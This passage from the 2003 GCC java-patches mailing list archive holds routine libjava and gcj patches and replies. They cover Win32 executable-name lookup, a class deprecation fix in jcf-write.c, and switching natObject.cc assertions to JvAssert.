RklORShIQVZFX1BMQVRGT1JNX0dFVEVYRU5BTUUpCglmb3IgbWluZ3cKCSog YWNjb25maWcuaDogbmV3IEhBVkVfUExBVEZPUk1fR0VURVhFTkFNRTogdW5k ZWZpbmUKCSogY29uZmlndXJlOiByZWJ1aWx0CgkqIGluY2x1ZGUvY29uZmln LmguaW46IHJlYnVpbHQgKHVzaW5nIGF1dG9oZWFkZXIpCgkqIHByaW1zLmNj OiBpZiBIQVZFX1BMQVRGT1JNX0dFVEVYRU5BTUUgaXMgZGVmaW5lZCwgZGVj bGFyZSBhbgoJZXh0ZXJuYWwgX0p2X3BsYXRmb3JtX2V4ZW5hbWUgZm9yIHJl dHJpZXZpbmcgb3VyIHByb2Nlc3MnIGV4ZWN1dGFibGUKCW5hbWUuIFRoaXMg bWVjaGFuaXNtIG92ZXJyaWRlcyBhbnkgb3RoZXIgbWVhbnMgb2YgZGV0ZXJp bWluaW5nIHRoZQoJZXhlY3V0YWJsZSBuYW1lIGV4Y2VwdCBESVNBQkxFX01B SU5fQVJHUwoJKiB3aW4zMi5jYzogX0p2X3BsYXRmb3JtX2V4ZW5hbWUgaW1w bGVtZW50YXRpb24gdXNpbmcgV2luMzIKCUdldE1vZHVsZUZpbGVOYW1lCgpJ bmRleDogYWNjb25maWcuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBm aWxlOiAvY3Zzcm9vdC9nY2MvZ2NjL2xpYmphdmEvYWNjb25maWcuaCx2CnJl dHJpZXZpbmcgcmV2aXNpb24gMS4yNgpkaWZmIC11IC0yIC1yMS4yNiBhY2Nv bmZpZy5oCi0tLSBhY2NvbmZpZy5oCTI5IEF1ZyAyMDAyIDE4OjA1OjE0IC0w MDAwCTEuMjYKKysrIGFjY29uZmlnLmgJMjUgRmViIDIwMDMgMTM6NDI6NDgg LTAwMDAKQEAgLTEzOCw0ICsxMzgsNyBAQAogI3VuZGVmIEhBVkVfUFJPQ19T RUxGX0VYRQogIAorLyogRGVmaW5lIGlmIHlvdSBoYXZlIGEgcGxhdGZvcm0t c3BlY2lmaWMgX0p2X3BsYXRmb3JtX2V4ZW5hbWUgKi8KKyN1bmRlZiBIQVZF X1BMQVRGT1JNX0dFVEVYRU5BTUUKKwogLyogRGVmaW5lIGlmIHlvdSBoYXZl IGRsYWRkcigpICovCiAjdW5kZWYgSEFWRV9ETEFERFIKSW5kZXg6IGNvbmZp Z3VyZS5pbgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiAvY3Zz cm9vdC9nY2MvZ2NjL2xpYmphdmEvY29uZmlndXJlLmluLHYKcmV0cmlldmlu ZyByZXZpc2lvbiAxLjE0Mi40LjYKZGlmZiAtdSAtMiAtcjEuMTQyLjQuNiBj b25maWd1cmUuaW4KLS0tIGNvbmZpZ3VyZS5pbgkyMCBGZWIgMjAwMyAwOTox MjoyNCAtMDAwMAkxLjE0Mi40LjYKKysrIGNvbmZpZ3VyZS5pbgkyNSBGZWIg MjAwMyAxMzo0Mjo1MCAtMDAwMApAQCAtNTQyLDQgKzU0Miw5IEBACiAgICAg ICAgQUNfREVGSU5FKEhBVkVfUFJPQ19TRUxGX0VYRSkKICAgICAgICA7Owor ICAgICAqbWluZ3cqKQorICAgICAgICMgSGFzIGEgcGxhdGZvcm0tc3BlY2lm aWMgbWVjaGFuaXNtIGZvcgorICAgICAgICMgZm9yIHJldHJpZXZpbmcgdGhl IG5hbWUgb2YgdGhlIGV4ZWN1dGFibGUuCisgICAgICAgQUNfREVGSU5FKEhB VkVfUExBVEZPUk1fR0VURVhFTkFNRSkKKyAgICAgICA7OwogICAgICBlc2Fj CiAgICBmaQpJbmRleDogcHJpbXMuY2MKPT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PQpSQ1MgZmlsZTogL2N2c3Jvb3QvZ2NjL2djYy9saWJqYXZhL3ByaW1zLmNj LHYKcmV0cmlldmluZyByZXZpc2lvbiAxLjc2CmRpZmYgLXUgLTIgLXIxLjc2 IHByaW1zLmNjCi0tLSBwcmltcy5jYwk1IERlYyAyMDAyIDAwOjQ5OjI5IC0w MDAwCTEuNzYKKysrIHByaW1zLmNjCTI1IEZlYiAyMDAzIDEzOjQyOjUyIC0w MDAwCkBAIC0xMDAsOCArMTAwLDE0IEBACiB2b2lkICgqX0p2X0pWTVBJX05v dGlmeV9USFJFQURfRU5EKSAoSlZNUElfRXZlbnQgKmV2ZW50KTsKICNlbmRp ZgotDAogCiBleHRlcm4gIkMiIHZvaWQgX0p2X1Rocm93U2lnbmFsIChqdGhy b3dhYmxlKSBfX2F0dHJpYnV0ZSAoKG5vcmV0dXJuKSk7CiAKKyNpZmRlZiBI QVZFX1BMQVRGT1JNX0dFVEVYRU5BTUUKK2V4dGVybiAiQyIgdm9pZCBfSnZf cGxhdGZvcm1fZXhlbmFtZShjaGFyKiBidWYsIGludCBzaXplKTsKKyAgLy8g dGhpcyBwbGF0Zm9ybSBoYXMgYSBzcGVjaWZpYyB3YXkgb2YgcmV0cmlldmlu ZyBvdXIgZXhlY3V0YWJsZQorICAvLyBuYW1lIHdoaWNoIG92ZXJyaWRlcyBv dGhlciBtZWNoYW5pc21zIChzdWNoIGFzIGFzc3VtaW5nCisgIC8vIGFyZ3Zb MF0sIGV0Yy4pCisjZW5kaWYKKwogLy8gSnVzdCBsaWtlIF9Kdl9UaHJvdywg YnV0IGZpbGwgaW4gdGhlIHN0YWNrIHRyYWNlIGZpcnN0LiAgQWx0aG91Z2gK IC8vIHRoaXMgaXMgZGVjbGFyZWQgZXh0ZXJuIGluIG9yZGVyIHRoYXQgaXRz IG5hbWUgbm90IGJlIG1hbmdsZWQsIGl0CkBAIC05NjIsOCArOTY4LDExIEBA CiAKIAotI2lmZGVmIERJU0FCTEVfTUFJTl9BUkdTCisjaWYgZGVmaW5lZChE SVNBQkxFX01BSU5fQVJHUykKICAgX0p2X1RoaXNFeGVjdXRhYmxlICgiW0Vt YmVkZGVkIEFwcF0iKTsKLSNlbHNlCi0jaWZkZWYgSEFWRV9QUk9DX1NFTEZf RVhFCisjZWxpZiBkZWZpbmVkKEhBVkVfUExBVEZPUk1fR0VURVhFTkFNRSkK KyAgY2hhciBleGVjX25hbWVbMzAwXTsKKyAgX0p2X3BsYXRmb3JtX2V4ZW5h bWUoZXhlY19uYW1lLCBzaXplb2YoZXhlY19uYW1lKSk7CisgIF9Kdl9UaGlz RXhlY3V0YWJsZSAoZXhlY19uYW1lKTsKKyNlbGlmIGRlZmluZWQoSEFWRV9Q Uk9DX1NFTEZfRVhFKQogICBjaGFyIGV4ZWNfbmFtZVsyMF07CiAgIHNwcmlu dGYgKGV4ZWNfbmFtZSwgIi9wcm9jLyVkL2V4ZSIsIGdldHBpZCAoKSk7CkBA IC05NzEsNiArOTgwLDUgQEAKICNlbHNlCiAgIF9Kdl9UaGlzRXhlY3V0YWJs ZSAoYXJndlswXSk7Ci0jZW5kaWYgLyogSEFWRV9QUk9DX1NFTEZfRVhFICov Ci0jZW5kaWYgLyogRElTQUJMRV9NQUlOX0FSR1MgKi8KKyNlbmRpZiAvKiBE SVNBQkxFX01BSU5fQVJHUywgSEFWRV9QTEFURk9STV9HRVRFWEVOQU1FLCBI QVZFX1BST0NfU0VMRl9FWEUgKi8KIAogICB0cnkKSW5kZXg6IHdpbjMyLmNj Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IC9jdnNyb290L2dj Yy9nY2MvbGliamF2YS93aW4zMi5jYyx2CnJldHJpZXZpbmcgcmV2aXNpb24g MS4xMi4yMi4yCmRpZmYgLXUgLTIgLXIxLjEyLjIyLjIgd2luMzIuY2MKLS0t IHdpbjMyLmNjCTE5IEZlYiAyMDAzIDE2OjI3OjIyIC0wMDAwCTEuMTIuMjIu MgorKysgd2luMzIuY2MJMjUgRmViIDIwMDMgMTM6NDI6NTIgLTAwMDAKQEAg LTE5Nyw0ICsxOTcsOSBAQAogfQogCitleHRlcm4gIkMiIHZvaWQgX0p2X3Bs YXRmb3JtX2V4ZW5hbWUoY2hhciogYnVmLCBpbnQgc2l6ZSkKK3sKKyAgR2V0 TW9kdWxlRmlsZU5hbWUoTlVMTCwgYnVmLCBzaXplKTsKK30KKwogLyogU3Rv cmUgdXAgdG8gU0laRSByZXR1cm4gYWRkcmVzcyBvZiB0aGUgY3VycmVudCBw cm9ncmFtIHN0YXRlIGluCiAgICBBUlJBWSBhbmQgcmV0dXJuIHRoZSBleGFj dCBudW1iZXIgb2YgdmFsdWVzIHN0b3JlZC4gICovCg== ------------sGqZpQDkKoKjMo/s66whGd-- From java-patches-return-6278-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 26 13:16:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27165 invoked by alias); 26 Feb 2003 13:16:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27148 invoked from network); 26 Feb 2003 13:16:29 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 26 Feb 2003 13:16:29 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-80-146.ewetel.net [80.228.80.146]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1QDGMvj022663; Wed, 26 Feb 2003 14:16:23 +0100 (MET) From: Michael Koch To: tromey@redhat.com, Andrew Haley Subject: Re: Patch: fix gcj deprecation support Date: Wed, 26 Feb 2003 14:15:40 +0100 User-Agent: KMail/1.5 Cc: Eric Blake , java-patches@gcc.gnu.org, Gcc Patch List References: <87y949csua.fsf@fleche.redhat.com> <15960.49906.666429.198679@cuddles.cambridge.redhat.com> <87vfzaa7le.fsf@fleche.redhat.com> In-Reply-To: <87vfzaa7le.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302261415.43955.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 24. Februar 2003 00:41 schrieb Tom Tromey: > >>>>> "Andrew" =3D=3D Andrew Haley writes: > > Andrew> OK. I'm not sure the branch really needs this, but go > ahead Andrew> if you think so. > > Thanks. When this looked like it was going to be a smaller patch, > I was planning to put it on the branch. Now I'm not planning to. There seems to be a still a bug: Classes can not correctly be=20 deprecated. See java.io.StringBufferInputStream. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+XL3/WSOgCCdjSDsRAuylAKCHfPxNLUTmTm3dG8y+kdJPPgI4AgCfczMe =46xmmnr6y2N0KCnE6a9JwrIg=3D =3DSE51 =2D----END PGP SIGNATURE----- From java-patches-return-6279-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 26 15:05:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27364 invoked by alias); 26 Feb 2003 15:05:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27354 invoked from network); 26 Feb 2003 15:05:24 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 26 Feb 2003 15:05:24 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1QF5OQ30112; Wed, 26 Feb 2003 09:05:24 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org, gnustuff@thisiscool.com Date: Wed, 26 Feb 2003 09:05:26 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <1U5ZSPD0176326187ZYPLA087HEYSDB.3e5c49dc@d7500> Message-Id: <83PN1Z71SOLKLFSOTOVTHDC0UOPOKE96.3e5cd7b6@p733> Subject: Re: Patch: addr2line and the name of the executable MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch People, Based on feedback from Andrew and Ranjit: http://gcc.gnu.org/ml/java/2003-02/msg00517.html I'm going to redo this patch and make it more far-reaching. Stay-tuned. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6280-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 26 20:12:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21669 invoked by alias); 26 Feb 2003 20:12:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21653 invoked from network); 26 Feb 2003 20:12:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 26 Feb 2003 20:12:35 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA22527; Wed, 26 Feb 2003 13:12:28 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A3B904F8090; Wed, 26 Feb 2003 13:04:53 -0700 (MST) To: Michael Koch Cc: Andrew Haley , Eric Blake , java-patches@gcc.gnu.org, Gcc Patch List Subject: Re: Patch: fix gcj deprecation support References: <87y949csua.fsf@fleche.redhat.com> <15960.49906.666429.198679@cuddles.cambridge.redhat.com> <87vfzaa7le.fsf@fleche.redhat.com> <200302261415.43955.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Sometime in 1993 NANCY SINATRA will lead a BLOODLESS COUP on GUAM!! Date: 26 Feb 2003 13:04:53 -0700 In-Reply-To: <200302261415.43955.konqueror@gmx.de> Message-ID: <87wujm7qqi.fsf@fleche.redhat.com> Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> There seems to be a still a bug: Classes can not correctly be Michael> deprecated. See java.io.StringBufferInputStream. Thanks. I suspect this was a merge error on my part. Though I don't really understand since I ran Jacks after the merge. I'm checking in the appended as obvious. Tested against Jacks. Also tested against a simple test case before and after, to verify that class deprecation used to fail and now works. Tom Index: ChangeLog from Tom Tromey * jcf-write.c (generate_classfile): Check whether class is deprecated before writing attribute count. Index: jcf-write.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/jcf-write.c,v retrieving revision 1.121 diff -u -r1.121 jcf-write.c --- jcf-write.c 24 Feb 2003 02:14:49 -0000 1.121 +++ jcf-write.c 26 Feb 2003 20:10:53 -0000 @@ -3103,10 +3103,10 @@ i++; if (clas == object_type_node) i++; - PUT2 (i); /* attributes_count */ - if (CLASS_DEPRECATED (TYPE_NAME (clas))) i++; + + PUT2 (i); /* attributes_count */ /* generate the SourceFile attribute. */ if (SourceFile_node == NULL_TREE) From java-patches-return-6281-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 26 22:07:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25600 invoked by alias); 26 Feb 2003 22:07:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25591 invoked from network); 26 Feb 2003 22:07:57 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 26 Feb 2003 22:07:57 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA20846; Wed, 26 Feb 2003 15:07:55 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B2C474F8090; Wed, 26 Feb 2003 15:00:22 -0700 (MST) To: java-patches@gcc.gnu.org Cc: hans_boehm@hp.com Subject: Patch: assert in natObject.cc From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: ... I live in a FUR-LINE FALLOUT SHELTER Date: 26 Feb 2003 15:00:22 -0700 Message-ID: <87y9424s95.fsf@fleche.redhat.com> Lines: 191 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Anthony pointed out to me that natObject.cc has a lot of assert() calls in it, and that these are enabled by default. Hans, is there a reason not to use JvAssert? This is like assert, but we disable it by default. Seems like these asserts would have some sort of performance impact. Tom Index: ChangeLog from Tom Tromey * java/lang/natObject.cc: Don't include assert.h. (heavy_lock_obj_finalization_proc): Use JvAssert. (remove_all_heavy): Likewise. (_Jv_MonitorEnter): Likewise. (_Jv_MonitorExit): Likewise. (wait): Likewise. Index: java/lang/natObject.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natObject.cc,v retrieving revision 1.25 diff -u -r1.25 natObject.cc --- java/lang/natObject.cc 19 Feb 2003 16:28:37 -0000 1.25 +++ java/lang/natObject.cc 26 Feb 2003 22:05:16 -0000 @@ -303,7 +303,6 @@ // that can atomically update only N bits at a time. // Author: Hans-J. Boehm (Hans_Boehm@hp.com, boehm@acm.org) -#include #include #include // for usleep, sysconf. #include @@ -605,7 +604,7 @@ release_set(&(he -> address), he_address); return; } - assert(hl -> address == addr); + JvAssert(hl -> address == addr); GC_finalization_proc old_finalization_proc = hl -> old_finalization_proc; if (old_finalization_proc != 0) { @@ -653,8 +652,8 @@ static void remove_all_heavy (hash_entry *he, obj_addr_t new_address_val) { - assert(he -> heavy_count == 0); - assert(he -> address & LOCKED); + JvAssert(he -> heavy_count == 0); + JvAssert(he -> address & LOCKED); heavy_lock *hl = he -> heavy_locks; he -> heavy_locks = 0; // We would really like to release the lock bit here. Unfortunately, that @@ -664,8 +663,8 @@ for(; 0 != hl; hl = hl->next) { obj_addr_t obj = hl -> address; - assert(0 != obj); // If this was previously finalized, it should no - // longer appear on our list. + JvAssert(0 != obj); // If this was previously finalized, it should no + // longer appear on our list. hl -> address = 0; // Finalization proc might still see it after we // finish. GC_finalization_proc old_finalization_proc = hl -> old_finalization_proc; @@ -782,13 +781,13 @@ if (__builtin_expect(!addr, false)) throw new java::lang::NullPointerException; - assert(!(addr & FLAGS)); + JvAssert(!(addr & FLAGS)); retry: if (__builtin_expect(compare_and_swap(&(he -> address), 0, addr),true)) { - assert(he -> light_thr_id == INVALID_THREAD_ID); - assert(he -> light_count == 0); + JvAssert(he -> light_thr_id == INVALID_THREAD_ID); + JvAssert(he -> light_count == 0); he -> light_thr_id = self; // Count fields are set correctly. Heavy_count was also zero, // but can change asynchronously. @@ -836,7 +835,7 @@ // only be held by other threads waiting for conversion, and // they, like us, drop it quickly without blocking. _Jv_MutexLock(&(hl->si.mutex)); - assert(he -> address == address | LOCKED ); + JvAssert(he -> address == address | LOCKED ); release_set(&(he -> address), (address | REQUEST_CONVERSION | HEAVY)); // release lock on he while ((he -> address & ~FLAGS) == (address & ~FLAGS)) @@ -849,7 +848,7 @@ // Guarantee that hl doesn't get unlinked by finalizer. // This is only an issue if the client fails to release // the lock, which is unlikely. - assert(he -> address & HEAVY); + JvAssert(he -> address & HEAVY); // Lock has been converted, we hold the heavyweight lock, // heavy_count has been incremented. return; @@ -866,7 +865,7 @@ { // Either was_heavy is true, or something changed out from under us, // since the initial test for 0 failed. - assert(!(address & REQUEST_CONVERSION)); + JvAssert(!(address & REQUEST_CONVERSION)); // Can't convert a nonexistent lightweight lock. heavy_lock *hl; hl = (was_heavy? find_heavy(addr, he) : 0); @@ -879,15 +878,15 @@ // one first and use that. he -> light_thr_id = self; // OK, since nobody else can hold // light lock or do this at the same time. - assert(he -> light_count == 0); - assert(was_heavy == (he -> address & HEAVY)); + JvAssert(he -> light_count == 0); + JvAssert(was_heavy == (he -> address & HEAVY)); release_set(&(he -> address), (addr | was_heavy)); } else { // Must use heavy lock. ++ (he -> heavy_count); - assert(0 == (address & ~HEAVY)); + JvAssert(0 == (address & ~HEAVY)); release_set(&(he -> address), HEAVY); _Jv_MutexLock(&(hl->si.mutex)); keep_live(addr); @@ -898,7 +897,7 @@ // We hold the lock on the hash entry, and he -> address can't // change from under us. Neither can the chain of heavy locks. { - assert(0 == he -> heavy_count || (address & HEAVY)); + JvAssert(0 == he -> heavy_count || (address & HEAVY)); heavy_lock *hl = get_heavy(addr, he); ++ (he -> heavy_count); release_set(&(he -> address), address | HEAVY); @@ -1006,17 +1005,17 @@ he -> light_count = count - 1; return; } - assert(he -> light_thr_id == self); - assert(address & REQUEST_CONVERSION); + JvAssert(he -> light_thr_id == self); + JvAssert(address & REQUEST_CONVERSION); // Conversion requested // Convert now. if (!compare_and_swap(&(he -> address), address, address | LOCKED)) goto retry; heavy_lock *hl = find_heavy(addr, he); - assert (0 != hl); + JvAssert (0 != hl); // Requestor created it. he -> light_count = 0; - assert(he -> heavy_count > 0); + JvAssert(he -> heavy_count > 0); // was incremented by requestor. _Jv_MutexLock(&(hl->si.mutex)); // Release the he lock after acquiring the mutex. @@ -1033,8 +1032,8 @@ return; } // lightweight lock not for this object. - assert(!(address & LOCKED)); - assert((address & ~FLAGS) != addr); + JvAssert(!(address & LOCKED)); + JvAssert((address & ~FLAGS) != addr); if (!compare_and_swap(&(he -> address), address, address | LOCKED)) goto retry; heavy_lock *hl = find_heavy(addr, he); @@ -1049,9 +1048,9 @@ throw new java::lang::IllegalMonitorStateException( JvNewStringLatin1("current thread not owner")); } - assert(address & HEAVY); + JvAssert(address & HEAVY); count = he -> heavy_count; - assert(count > 0); + JvAssert(count > 0); --count; he -> heavy_count = count; if (0 == count) @@ -1160,7 +1159,7 @@ throw new IllegalMonitorStateException (JvNewStringLatin1 ("current thread not owner")); } - assert(address & HEAVY); + JvAssert(address & HEAVY); } switch (_Jv_CondWait (&(hl->si.condition), &(hl->si.mutex), timeout, nanos)) { From java-patches-return-6282-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 26 23:24:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24085 invoked by alias); 26 Feb 2003 23:24:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24068 invoked from network); 26 Feb 2003 23:24:33 -0000 Received: from unknown (HELO palrel12.hp.com) (156.153.255.237) by 172.16.49.205 with SMTP; 26 Feb 2003 23:24:33 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel12.hp.com (Postfix) with ESMTP id CDE4C1C00ECE; Wed, 26 Feb 2003 15:24:32 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1QNOWd17491; Wed, 26 Feb 2003 15:24:32 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Wed, 26 Feb 2003 15:24:31 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Feb 2003 15:24:31 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA136E3@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , java-patches@gcc.gnu.org Cc: "Boehm, Hans" Subject: RE: Patch: assert in natObject.cc Date: Wed, 26 Feb 2003 15:24:30 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2DDEE.3689CA30" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2DDEE.3689CA30 Content-Type: text/plain; charset="iso-8859-1" Looks right to me. I was extremely paranoid about this code, probably with good reason. But it seems to have enough miles on it by now that it's appropriate to turn the assertions off. Based on my experience, this doesn't have a huge performance impact, in part because the tests probably schedule well, and because the compare-exchange operations are typically so expensive. (If we could save the hash table address from entry to exit somehow, that might make more of a difference, though.) While we're at it, I attached another patch that has been in my tree for a while. The substantive part of the change is to replace a % with an &. This matters a bit, since the first operand is signed, and thus % involves a test. (An alternative fix would be to make it unsigned; it's a hash function, so it doesn't matter.) If you want to include this in your patch, that's fine. Or I can check it into the trunk separately. Hans > -----Original Message----- > From: Tom Tromey [mailto:tromey@redhat.com] > Sent: Wednesday, February 26, 2003 2:00 PM > To: java-patches@gcc.gnu.org > Cc: hans_boehm@hp.com > Subject: Patch: assert in natObject.cc > > > Anthony pointed out to me that natObject.cc has a lot of assert() > calls in it, and that these are enabled by default. > > Hans, is there a reason not to use JvAssert? This is like assert, but > we disable it by default. Seems like these asserts would have some > sort of performance impact. > > Tom > > Index: ChangeLog > from Tom Tromey > > * java/lang/natObject.cc: Don't include assert.h. > (heavy_lock_obj_finalization_proc): Use JvAssert. > (remove_all_heavy): Likewise. > (_Jv_MonitorEnter): Likewise. > (_Jv_MonitorExit): Likewise. > (wait): Likewise. > > Index: java/lang/natObject.cc > =================================================================== > RCS file: /cvs/gcc/gcc/libjava/java/lang/natObject.cc,v > retrieving revision 1.25 > diff -u -r1.25 natObject.cc > --- java/lang/natObject.cc 19 Feb 2003 16:28:37 -0000 1.25 > +++ java/lang/natObject.cc 26 Feb 2003 22:05:16 -0000 > @@ -303,7 +303,6 @@ > // that can atomically update only N bits at a time. > // Author: Hans-J. Boehm (Hans_Boehm@hp.com, boehm@acm.org) > > -#include > #include > #include // for usleep, sysconf. > #include > @@ -605,7 +604,7 @@ > release_set(&(he -> address), he_address); > return; > } > - assert(hl -> address == addr); > + JvAssert(hl -> address == addr); > GC_finalization_proc old_finalization_proc = hl -> > old_finalization_proc; > if (old_finalization_proc != 0) > { > @@ -653,8 +652,8 @@ > static void > remove_all_heavy (hash_entry *he, obj_addr_t new_address_val) > { > - assert(he -> heavy_count == 0); > - assert(he -> address & LOCKED); > + JvAssert(he -> heavy_count == 0); > + JvAssert(he -> address & LOCKED); > heavy_lock *hl = he -> heavy_locks; > he -> heavy_locks = 0; > // We would really like to release the lock bit here. > Unfortunately, that > @@ -664,8 +663,8 @@ > for(; 0 != hl; hl = hl->next) > { > obj_addr_t obj = hl -> address; > - assert(0 != obj); // If this was previously > finalized, it should no > - // longer appear on our list. > + JvAssert(0 != obj); // If this was previously > finalized, it should no > + // longer appear on our list. > hl -> address = 0; // Finalization proc might still > see it after we > // finish. > GC_finalization_proc old_finalization_proc = hl -> > old_finalization_proc; > @@ -782,13 +781,13 @@ > if (__builtin_expect(!addr, false)) > throw new java::lang::NullPointerException; > > - assert(!(addr & FLAGS)); > + JvAssert(!(addr & FLAGS)); > retry: > if (__builtin_expect(compare_and_swap(&(he -> address), > 0, addr),true)) > { > - assert(he -> light_thr_id == INVALID_THREAD_ID); > - assert(he -> light_count == 0); > + JvAssert(he -> light_thr_id == INVALID_THREAD_ID); > + JvAssert(he -> light_count == 0); > he -> light_thr_id = self; > // Count fields are set correctly. Heavy_count was also zero, > // but can change asynchronously. > @@ -836,7 +835,7 @@ > // only be held by other threads waiting for conversion, and > // they, like us, drop it quickly without blocking. > _Jv_MutexLock(&(hl->si.mutex)); > - assert(he -> address == address | LOCKED ); > + JvAssert(he -> address == address | LOCKED ); > release_set(&(he -> address), (address | > REQUEST_CONVERSION | HEAVY)); > // release lock on he > while ((he -> address & ~FLAGS) == (address & ~FLAGS)) > @@ -849,7 +848,7 @@ > // Guarantee that hl doesn't get unlinked by finalizer. > // This is only an issue if the client fails to release > // the lock, which is unlikely. > - assert(he -> address & HEAVY); > + JvAssert(he -> address & HEAVY); > // Lock has been converted, we hold the heavyweight lock, > // heavy_count has been incremented. > return; > @@ -866,7 +865,7 @@ > { > // Either was_heavy is true, or something changed out > from under us, > // since the initial test for 0 failed. > - assert(!(address & REQUEST_CONVERSION)); > + JvAssert(!(address & REQUEST_CONVERSION)); > // Can't convert a nonexistent lightweight lock. > heavy_lock *hl; > hl = (was_heavy? find_heavy(addr, he) : 0); > @@ -879,15 +878,15 @@ > // one first and use that. > he -> light_thr_id = self; // OK, since nobody else can hold > // light lock or do this > at the same time. > - assert(he -> light_count == 0); > - assert(was_heavy == (he -> address & HEAVY)); > + JvAssert(he -> light_count == 0); > + JvAssert(was_heavy == (he -> address & HEAVY)); > release_set(&(he -> address), (addr | was_heavy)); > } > else > { > // Must use heavy lock. > ++ (he -> heavy_count); > - assert(0 == (address & ~HEAVY)); > + JvAssert(0 == (address & ~HEAVY)); > release_set(&(he -> address), HEAVY); > _Jv_MutexLock(&(hl->si.mutex)); > keep_live(addr); > @@ -898,7 +897,7 @@ > // We hold the lock on the hash entry, and he -> address can't > // change from under us. Neither can the chain of heavy locks. > { > - assert(0 == he -> heavy_count || (address & HEAVY)); > + 